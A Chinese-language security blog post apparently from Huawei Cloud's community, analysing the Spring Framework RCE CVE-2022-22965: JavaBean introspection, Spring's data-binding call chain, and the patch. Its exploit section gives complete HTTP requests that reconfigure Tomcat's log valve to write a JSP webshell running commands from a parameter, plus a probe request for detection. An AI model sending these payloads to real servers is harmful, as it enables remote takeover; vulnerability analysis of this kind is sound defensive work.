摘要:Spring在进行参数绑定时调用的 BeanWrapperImpl在进行JavaBean操作时触发了此漏洞。

本文分享自华为云社区《CVE-2022-22965 漏洞分析》,作者:Xuuuu。

CVE-2022-22965

A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

环境搭建

VulEnv/springboot/cve-2022-22965 at master · XuCcc/VulEnv

前置知识

JavaBean

一个典型的 Bean 对象如下

class UserInfo {
private int age; public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
}
}

通过 private 定义属性 通过 public getXyz/setXyz 来读写的 class 被称为 JavaBean [^1]

Introspector

java.beans.Introspector [^2] 提供一套标准的方法来访问 javaBean 中的属性、方法、事件,会搜索 Bean 本身并一路往上搜索父类来获取信息。如通过 java.beans.PropertyDescriptor 来获取属性相关的信息(name/getter/setter/...)

public static void main(String args[]) throws IntrospectionException {
BeanInfo info = Introspector.getBeanInfo(UserInfo.class);
PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();
for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {
System.out.println(propertyDescriptor);
System.out.println("=================================================");
}
} // java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================

也可以通过内省操作来进行赋值操作

UserInfo user = new UserInfo();
System.out.println("age: " + user.getAge());
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();
pd.getWriteMethod().invoke(user, 18);
System.out.println("age: " + user.getAge()); // age: 0
// age: 18

Spring BeanWrapperImpl

提供了一套简单的api来进行 JavaBean 的操作,以及一些高级特性(嵌套属性、批量读写等)

public class User {
private String name;
private UserInfo info; public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public UserInfo getInfo() {
return info;
} public void setInfo(UserInfo info) {
this.info = info;
} public static void main(String args[]) {
User user = new User();
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);
bw.setAutoGrowNestedPaths(true);
bw.setPropertyValue("name", "wang");
bw.setPropertyValue("info.age", 18);
System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());
}
} // wang is 18

在 setPropertyValue(“name”, “wang”) 处分析调用逻辑,大致了解下流程

org.springframework.beans.AbstractNestablePropertyAccessor[^3]

  1. 调用getPropertyAccessorForPropertyPath方法通过 getter 来获取嵌套属性
    1. getPropertyAccessorForPropertyPath 存在嵌套 A.B.C 属性时,循环调用 getter 取值
  2. 调用setPropertyValue方法通过 setter 来设置属性
    1. processKeyedProperty 设置 Array/List… 对象
    2. processLocalProperty 设置简单 Bean 对象
      1. getLocalPropertyHandler 获取属性描述符
        1. getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
          1. CachedIntrospectionResults#forClass 为当前Bean创建缓存
      2. setValue 通过反射调用 setter 进行赋值

Spring data bind

以如下的 controller 为例,跟踪 spring 参数绑定的过程

@GetMapping("/")
public String info(User user) {
return String.format("%s is %d", user.getName(), user.getInfo().getAge());
}
  1. 传入的 http 请求经过 org.springframework.web.servlet.DispatcherServlet#doDispatch处理,寻找对应的 Handler 进行处理
  2. org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 调用 Handler 前进行参数绑定
  3. 使用响应的 org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 来进行参数解析,从 request 中获取参数。这里为 org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
  4. 接下来进入到 org.springframework.validation.DataBinder#doBind,根据 JavaBean 对象来进行赋值。这里会获取一个BeanWrapperImpl通过setPropertyValues来进行赋值
  5. org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
  6. org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue

源码分析

官方在 5.3.18 修复了这个问题,查看 Comparing v5.3.17…v5.3.18 · spring-projects/spring-framework 在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults 处进行了相关修改,加强了一个 PropertyDescriptor 相关的过滤。查看相关调用

  • org.springframework.beans.CachedIntrospectionResults#forClass
  • org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults

结合上文的内容不难推断,Spring在进行参数绑定时调用的 BeanWrapperImpl在进行JavaBean操作时触发了此漏洞。

<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...

Exp 编写

由于 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults 能够通过 class.module.classLoader 来获取 classLoader,所以这个洞也是 CVE-2010-1622[^5] 的绕过。

目前流传的EXP都是利用 Tomcat 的 ParallelWebappClassLoader 来修改 Tomcat 中日志相关的属性[^6],来向日志文件写入 webshell 达到命令执行的目的。

例如向 webapps/shell.jsp 写入 http header 中的 cmd

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

发送报文

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>

就可以利用 shell.jsp?a=cmd 来执行命令了

一些其他利用细节可以参考:关于Spring framework rce(CVE-2022-22965)的一些问题思考

补丁修复

Spring 在获取属性描述符时加强了判断,只留下了 name 属性。

if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
// Only allow all name variants of Class properties
continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
|| ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
// Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
continue;
}

Poc 编写

通过错误地设置 classloader 下的属性来触发 BindException异常让服务端返回异常即可判断是否存在漏洞,例如发送

GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

服务端返回

HTTP/1.1 400
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close <html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>

Reference

  • Spring Framework RCE, Early Announcement
  • SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 - Microsoft Security Blog
  • SpringMVC参数绑定原理 | 技术驱动生活
  • Spring Framework RCE漏洞分析 | Gta1ta’s Blog
  • CVE-2022-22965 (SpringShell): RCE Vulnerability Analysis and Mitigations

Footnote

[^1]: JavaBeans - Wikipedia
[^2]: Introspector (Java Platform SE 8 )
[^3]: Spring 属性注入(三)AbstractNestablePropertyAccessor - binarylei - 博客园
[^4]: Module (Java SE 9 & JDK 9 )
[^5]: SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析 - Ruilin
[^6]: Apache Tomcat 8 Configuration Reference (8.0.53) - The Valve Component

文末福利:华为云漏洞扫描服务VSS 基础版限时免费体验>>>

点击关注,第一时间了解华为云新鲜技术~

CVE-2022-22965 漏洞分析,安全问题早发现的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  4. 【漏洞分析】dedecms有前提前台任意用户密码修改

     0x00 前言 早上浏览sec-news,发现锦行信息安全发布了一篇文章<[漏洞分析] 织梦前台任意用户密码修改>,看完之后就想着自己复现一下. 该漏洞的精髓是php的弱类型比较,'0. ...

  5. nginx漏洞分析与升级修复

    一 .此次漏洞分析 1 nginx HTTP/2漏洞 [nginx-announce] nginx安全公告(CVE-2018-16843,CVE-2018-16844)在nginx HTTP / 2实 ...

  6. Nuxeo 认证绕过和RCE漏洞分析(CVE-2018-16341)

    简介 Nuxeo Platform是一款跨平台开源的企业级内容管理系统(CMS).nuxeo-jsf-ui组件处理facelet模板不当,当访问的facelet模板不存在时,相关的文件名会输出到错误页 ...

  7. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  8. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  9. CVE-2010-3971 CSS内存破坏漏洞分析

    看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...

  10. 从乌云的错误漏洞分析看Mifare Classic安全

    前言 12年2月初国内著名安全问题反馈平台-乌云发布了有关某公司员工卡的金额效验算法破解的安全问题.从整个漏洞分析来看,漏洞的提交者把员工卡的数据分析得非常仔细,以至很多刚刚接触或者未曾接触的都纷纷赞 ...

随机推荐

  1. wireshark数据包时间戳修改

    1.数据包格式 两种数据包格式,pcap和pcapng两种.pcapng为升级版,时间戳细粒度更高. 2.时间戳位置(arrival time) 时间戳在数据包中表现为物理层的arrival time ...

  2. spring---反射(java.lang.reflect)

    反射简介 反射是Java的高级特性之一,但是在实际的开发中,使用Java反射的案例却非常的少,但是反射确实在底层框架中被频繁的使用. 比如:JDBC中的加载数据库驱动程序,Spring框架中加载bea ...

  3. C++11 列表初始化都做了什么?

    类的成员变量的初始化细节 首先,来看两个问题: 类的构造函数中,成员变量的列表初始化是如何实现的? 为什么列表初始化效率上优于在构造函数中为成员变量赋值? (后文中,将 "在构造函数中为成员 ...

  4. .NET的各种对象在内存中如何布局[博文汇总]

    在过去一段时间里,我陆陆续续写一些关于.NET对象类型布局的文章,其中包括值类型和引用类型的内存布局.字符串对象和数组的内存布局等,这里作一个简单的汇总. [1] 如何计算一个实例占用多少内存? 我们 ...

  5. Python实现对word批量操作

    Python在平时写写小工具真是方便快捷,Pyhon大法好. 以下所有代码都是找了好多网上的大佬分享的代码按照自己的需求改的. 调用的库为Python-docx.win32com.PyPDF2.xlw ...

  6. IIS安装与配置

    一.环境介绍 Windows Server 2019 64位 标准版 二.IIS安装 2.1.打开服务器管理器,单击添加角色和功能 在Windows Server 2019 服务器管理中,点击角色和功 ...

  7. 深度掌握TypeScript中的重载【函数重载、方法重载】

    深度掌握TypeScript中的重载[函数重载.方法重载] 1. 函数重载,方法重载的重要性 著名前端流行框架底层都用到函数重载,例如:Vue3 底层源码就多处使用到带泛型的函数重载.很多前端面试更是 ...

  8. CSS(不定时更新)

    一.使用img后的高度多了4px 由于img是行内元素,默认display: inline; 它与文本的默认行为类似,下边缘是与基线(baseline)对齐,而不是紧贴容器下边缘. 将displayp ...

  9. vertx学习总结5之回调函数及其限制,如网关/边缘服务示例所示未来和承诺——链接异步操作的简单模型响应式扩展——一个更强大的模型,特别适合组合异步事件流Kotlin协程

    这章我们讲回调,英文名:Beyond callbacks 一.章节覆盖: 回调函数及其限制,如网关/边缘服务示例所示 未来和承诺--链接异步操作的简单模型 响应式扩展--一个更强大的模型,特别适合组合 ...

  10. [ABC265C] Belt Conveyor

    Problem Statement We have a grid with $H$ horizontal rows and $W$ vertical columns. $(i, j)$ denotes ...